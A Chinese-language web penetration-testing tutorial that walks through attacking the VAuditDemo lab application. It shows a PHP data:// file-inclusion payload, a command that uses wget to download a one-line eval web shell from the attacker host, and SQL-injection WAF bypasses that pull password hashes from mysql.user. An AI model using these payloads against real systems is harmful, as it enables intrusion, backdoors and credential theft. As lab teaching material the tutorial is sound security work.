渗透测试全流程实操!你一定要掌握!

发表于:2024-3-27 09:32

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:海哥    来源:51Testing软件测试网原创

  一、渗透测试概念
  写在开始:进行web渗透测试之前,务必获得测试目标拥有者或组织的书面授权,明确渗透测试的范围。在授权范围内进行渗透测试,测试结束之后,务必清除渗透测试留下的痕迹,包括访问日志、事件记录、上传的shell脚本、创建的影子账户等等。
  渗透测试,并没有一个标准的定义,但通常被解释为一种评估计算机网络系统安全的方法。这个过程模拟恶意黑客的攻击方式,以寻找并利用系统中的安全漏洞。渗透测试旨在挖掘目标系统的安全漏洞,取得系统的控制权,访问系统的机密数据,并发现可能影响业务持续运作的安全隐患。
  渗透测试与黑客入侵的最大区别在于其进行方式。渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。这不仅能帮助管理者了解他们网络所面临的问题,还能提供针对这些问题的安全加固建议,从而帮助客户提升系统的安全性。
  渗透测试按照软件测试的理念分为三种类型:白盒测试黑盒测试、灰盒测试。其中白盒测试是基于代码审查,再结合漏洞扫描等技术进行,黑盒测试在业内也称为盲测,除了有测试范围之外,其他全部模拟黑客攻击的过程进行操作,灰盒测试是结合白盒测试的代码审计、黑盒测试的攻击策略和技术的一种折中类型。白盒测试的因为拥有目标所有内部与底层的知识,因此可以用最小的代价发现更多严重的隐藏的漏洞。黑盒测试因为是盲测,因此需要依赖较高的技术能力,攻击方式也变得多样性,从而可以更完整的评估目标的安全风险,也可以检测到目标团队的应急能力。灰盒测试集两者之长,既能快速全面检测出漏洞,同时还具备了更完整的安全风险评估能力。
  安全漏洞生命周期划分
  安全漏洞被发现到其消亡的过程被划分为7个步骤,其中包含的概念如下:
  · Exploit:简称EXP,利用安全漏洞造成入侵或破坏的渗透代码,又叫漏洞利用代码
  · POC:Proof of Concept:概念验证,只是验证漏洞的存在,并不会利用该漏洞进行入侵。
  · Exploit:EXP:发现漏洞后,使用恶意代码或恶意指令进行漏洞的利用和入侵。
  · 0 Day:第一个发现的漏洞,同时官方还没有发布补丁,也未公开该漏洞,漏洞处于可利用阶段。
  · RCE:Remote Code/Command Execution 远程代码/命令执行。
  · SRC:安全应急响应中心 Security Emergency Response Center。
  二、web渗透测试的步骤
  渗透测试步骤分为前期交互、情报收集、汇总分析、渗透攻击、后渗透攻击、报告提交等六个阶段
  1、前期交互:这个阶段主要是和委托方进行商讨洽谈、获取书面授权、测试范围的确定等工作
  2、情报搜集:在获得授权的基础上,对测试目标进行相应的情报收集,包括网络基本配置、域名、人员权限划分、暴露的端口、系统入口、web后台入口等
  3、汇总分析:该阶段基于上一步骤、对所有收集的信息进行汇总整理、从中找出合适的渗透方向、策略,选定合适的工具以及人员分工
  4、渗透攻击:开始进行漏洞挖掘、扫描、找出可用的载荷(payload),进行漏洞利用
  5、后渗透攻击:getshell、上传木马、修补漏洞、清除痕迹和脚本
  6、报告编写:将所有找到的安全漏洞汇总为一份渗透测试报告,提交给委托方,完成渗透任务。
  本文将依据以上的步骤以一个web靶场为例,阐述web渗透测试基本流程和注意事项。
  三、靶场部署
  服务器配置:
  操作系统CentOS7、2核CPU、2G内存、30G磁盘、网络可以访问,IP:192.168.211.132,部署xampp,vaudit
  客户端配置
  主机操作系统windows11,IP:192.168.1.5
  渗透机CentOS7,IP:192.168.211.129,部署xampp,存储攻击用的shell
  靶场搭建过程
  从gitee上面下载的一个开源软件vaudit,下载地址:https://github.com/1stPeak/VAuditDemo 作者是Virink。
  1、先在CentOS上面安装一个xampp5.6版本,
  2、使用添加VHosts和端口的方式部署vaudit
  在lampp/etc/extra目录下面,通过添加新的vhosts虚拟主机的方式来进行处理,只需要修改两个配置文件即可。
  (1)修改/opt/lampp/etc/httpd.conf,添加监听端口,并且包含httpd-vhosts.conf文件。
  Listen 80  # 默认端口
  Listen 81  # VAudit端口
  Listen 82  # 预留端口
  Include etc/extra/httpd-vhosts.conf ? # 取消前面的 # 号注释
  (2)修改/opt/lampp/etc/extra/httpd-vhosts.conf
  # 先注释掉其他已有的*:80的模板内容,增加以下内容
  <VirtualHost *:81>
      ServerName localhost
      DocumentRoot "/opt/lampp/htdocs/vaudit"
  </VirtualHost>
  3、修改基本配置
  使用网站管理中的php配置,将allow_url_include设置为On,也就是需要使用到远程文件包含功能。
  如果xampp启动失败,需要在lampp的启动程序lampp中找到2.2.0,修改为2.8.0,如下位置:
  export LD_ASSUME_KERNEL=2.8.0
  4、接下来修改并且配置数据库连接,使用vi打开/opt/lampp/htdocs/vaudit/sys目录下面的config.php文件
  <?php
  error_reporting(0);
  if (!file_exists($_SERVER["DOCUMENT_ROOT"] . '/sys/install.lock')) {
       header("Location: /install/install.php");
       exit;
  }
  // 注意这行代码,是一个功能bug,下面这行是原文,需要删掉路径中../sys/,否则留言板功能失效。
  //include_once '../sys/lib.php';
  include_once 'lib.php';
  // 下面为数据库的连接设置,默认安装是不用修改的
  $host = "localhost";
  $username = "root";
  $password = "root";
  $database = "vauditdemo";
  $conn = mysql_connect($host, $username, $password);
  mysql_query('set names utf8', $conn);
  mysql_select_db($database, $conn) or die(mysql_error());
  if (!$conn) {
       die('Could not connect: ' . mysql_error());
       exit;
  }
  session_start();
  ?>
  完成上述步骤之后,在浏览器中输入http://192.168.211.132:81/ 看到VAuditDemo安装界面:
  可以看出有两个目录没有写权限,需要sys和uploads进行赋权,在/www/admin/localhost_80/wwwroot下面执行下面的命令,这里只需要给other赋予写入权限即可。
  chmod o+w sys uploads
  然后刷新浏览器,现在看到可以安装了:
  点击安装,看到如下提示,表示完成。
  点击确定之后,进入到vaudit的主页面。
  四、信息采集
  现在我们需要熟悉这个软件系统的基本功能,跟踪和监控web页面上的各个接口及交互的数据,这里需要使用到一些工具:sqlmap、burp suite、御剑后台扫描工具、带hackbar的firefox浏览器等。
  先注册一个用户tester,然后使用tester进入,开启对系统的使用之旅,通过使用我们可以发现,注册普通用户不需要验证码,普通用户修改用户信息不需要二次验证,可以上传图头像图片,搜索接口,留言,查看留言,关于页面等普通用户可以点击或使用的功能。
  接下来使用御剑后台扫描工具,对系统进行扫描
  通过扫描我们可以发现,该目标站点存在一个后台登录的页面,可以试试看。
  这里可以看出后台登录是有验证码的,看来暂时是动不了这里。不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了,那么我们可以进入下一个环节,看看是否能够找到一些渗透的切入点。
  五、概念验证
  针对一个web系统,能够使用的渗透点主要包括登录密码的暴力破解、SQL注入、XSS注入、CSRF、文件包含等,对于普通用户进行暴力破解没有必要,因为我们可以自己注册一个普通用户,这里主要是考虑如何能够切入到数据库或者存储型的XSS、如果有文件包含也不错,可以进行利用。
  1、经过反复测试,可以发现一个有意思的地方:http://192.168.211.128/index.php?module=about 这个地址的module翻译过来为模块,而about正好指向关于页面。尝试将about改成其他任意的单词,看看页面返回情况,在这个过程中可以发现页面不会报错,但是也没有相应的提示,那么这里应该是一个文件包含的用法,没有抛出错误,估计是代码中给文件加了后缀,并且做了异常控制。可以初步确认,这里存在一个文件包含的漏洞,需要进一步验证。
  2、接下来关注一下留言功能,这里是允许用户输入内容的,在渗透中有一个核心的思想,那就是所有的输入是否用户可控,一般来说,用户可控的输入都有一定的几率存在安全风险,如果后端代码未做过滤或者过滤不够彻底,那么这些地方就是机会,因此先从此处入手试试看。在这个位置,我们可以尝试的有sql注入和存储型XSS,先试试sql注入,由于留言属于插入功能,因此这里优先考虑报错注入,看看是否有机会。
  结果发现,注入的sql代码被原样显示,显然这里没有sql注入,那么再检测一下是否可以进行XSS,在输入框中输入以下代码test<script>console.log(/test/)</script> 提交留言。
  可以看出,还是被原文显示,说明这里漏洞也被堵了,那么点击查看留言详情试试,这里我们可以获得留言详情的接口地址:http://192.168.211.128/messageDetail.php?id=9 这里参数id看起来应该是一个查询条件,那么可以尝试看看这里是否存在注入的可能。在hackbar中输入http://192.168.211.128/messageDetail.php?id=9 or 1=1# 可以看到下图显示:
  从图上可以看出这里有回显,且从提示看一看出,sql代码被waf(web application firewall),这里可以知道目标使用了一种web防火墙基础,而or被替换为了sqlwaf,可以看出其防火墙代码采取的是替换策略,那么根据经验可以试试其他的关键字和关键符号,看看替换中是否存在漏洞可以利用,在sql注入中,&&、||、_下划线,单引号,双引号这些符号是非常有用的,如果这些符号被替换,那么我们可能就得另谋出路。因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了,而&&和||被替换为了空,这里就留下了一个注入漏洞,可以利用||来绕过关键字的waf。
  从这里我们可以看出目前至少有两个漏洞可以试试,下面我们就开始尝试,看看这两个漏洞是否可以进行利用。
  六、漏洞利用
  1、文件包含漏洞的利用
  针对文件包含类的漏洞利用,需要知道的是有两种包含方式,第一种就是本地文件包含,这种漏洞的利用可以获取到服务器上面的基本信息,如果有文件上传漏洞存在,则可以将二者进行结合,从而getshell。而文件包含的利用需要用到php的伪协议相关的知识,这里我们可以试试data伪协议。
  先使用下面的payload试试
  http://192.168.211.132:81/index.php?module=data://text/plain,<?php phpinfo();?>
  这个结果表示,我们其实已经可以执行OS的命令,也就是getshell。比如可以执行如下的payload
  http://192.168.211.132:81/index.php?module=data://text/plain,<?php echo `ifconfig`;?>
  可以看到已经从服务器获取到了信息,那么可以顺着这个思路往下,将服务器上面的所有能看的文件都进行浏览,从而获取我们需要的信息。另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马,如果在外网上面,那么服务器需要提供外网的访问功能。服务器脚本的位置就直接方法/opt/lampp/htdocs下面,脚本名字可以根据需要来改,其内容只有一句话<?php eval($_POST[0]);?> ? 在浏览器中执行下面的payload
  http://192.168.211.132:81/index.php?module=data://text/plain,<?php `wget http://192.168.211.129/shell.inc -O /tmp/shell.php`;?>
  在被攻击的服务器上面的/tmp目录下面可以看到下面的结果:
  木马上传成功,后续可以使用蚁剑等工具进行连接服务,实施其他的操作。
  2、sql注入漏洞利用
  根据前面概念验证的结果,可以看出在返回留言详情的地方可以进行SQL注入,先尝试最直接的方法就是联合注入,payload如下
  http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),4 #
  可以看到结果:
  从这里看出,其内部数据库配置的是本地用户root@localhost,这里可以试试能否直接从information_schema中获取表信息,使用payload如下,这里因为要绕开单引号转义,需要把数据库部分的'vauditdemo'转成hex,即0x2776617564697464656d6f27
  sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema=0x2776617564697464656d6f27
  但是看到的结果如下:
  这里可以看到内部对下划线做了转义,因此无法从information_schema中遍历数据库信息,那就干脆试试能否从MySQL库中获取用户信息,payload如下:
  http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user) #
  可以看到结果如下:
  Subquery returns more than 1 row The result for [7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password) from mysql.user) ] is: 
  这里表示返回的数据不止一行,那可以使用limit进行逐行遍历,payload如下:
  http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user lim||it 0,1) #
  可以看到结果:
  继续遍历,就可以发现数据库里面的具体用户信息,其中包含远程连接权限的用户。
  这个时候需要对用户humh的密码进行创库破解,然后使用这个用户进行远程登录到数据库服务器,对数据库进行操作,这个时候就完美的避开了系统的waf。
  七、报告编写
  1、文件包含问题
  2、SQL注入风险
  3、报告模板
  八、写在最后
  本文主要基于靶场环境,阐述web渗透中的一些技巧和方法,文中仅仅选取了两个漏洞作为演示,该系统中实际包含的漏洞超过10个,有需要者可以按照本文中的步骤去慢慢挖掘。
  网络安全是软件系统质量模型中的重要指标之一,网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效,从而导致用户使用存在困难或者用户无法使用,而网络安全漏洞则可能是在用户无感知的情况下,被有心人进行利用,从而导致用户数据,公司机密等重要信息的泄露,或者服务器或个人设备整个被转成肉鸡,为攻击者的攻击提供便利和掩护。网络安全漏洞不需要多,一个就行,因此系统在研发开始就需要将网络安全引入,现在流行的称谓是安全左移,网络安全要做到100%,甚至200%才可以。
  版权声明:本文出自51Testing会员投稿,51Testing软件测试网及相关内容提供者拥有内容的全部版权,未经明确的书面许可,任何人或单位不得对本网站内容复制、转载或进行镜像,否则将追究法律责任。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号